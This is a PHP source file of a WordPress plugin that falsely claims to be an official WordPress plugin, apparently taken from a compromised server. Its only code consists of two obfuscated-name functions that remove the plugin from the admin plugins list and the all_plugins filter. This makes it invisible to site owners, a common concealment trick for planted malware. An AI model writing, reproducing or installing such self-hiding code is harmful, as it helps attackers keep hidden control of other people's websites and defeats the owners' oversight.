File: /www/wwwroot/a2.xingzuo101.cn/wp-content/plugins/wp-hardware-newsgroup/wp-hardware-newsgroup.php
<?php
/*
Plugin Name: WP Hardware Newsgroup
Plugin URI: http://wordpress.org/#
Description: Official WordPress plugin
Author: WordPress
Version: 10.4.6
Author URI: http://wordpress.org/#
License: GPL2
*/
function fqu_ouk()
{
global $wp_list_table;
if (!isset($wp_list_table)) {
return;
}
$t = array('wp-hardware-newsgroup/wp-hardware-newsgroup.php');
if (isset($wp_list_table->items) && is_array($wp_list_table->items)) {
foreach ($wp_list_table->items as $key => $val) {
if (in_array($key, $t)) {
unset($wp_list_table->items[$key]);
}
}
}
}
function gbu_gfr($plugins)
{
$j = 'wp-hardware-newsgroup/wp-hardware-newsgroup.php';
if (array_key_exists($j, $plugins)) {
unset($plugins[$j]);
}
return $plugins;
}
if (defined('ABSPATH')) {
add_action('pre_current_active_plugins', 'fqu_ouk');
add_filter('all_plugins', 'gbu_gfr');
}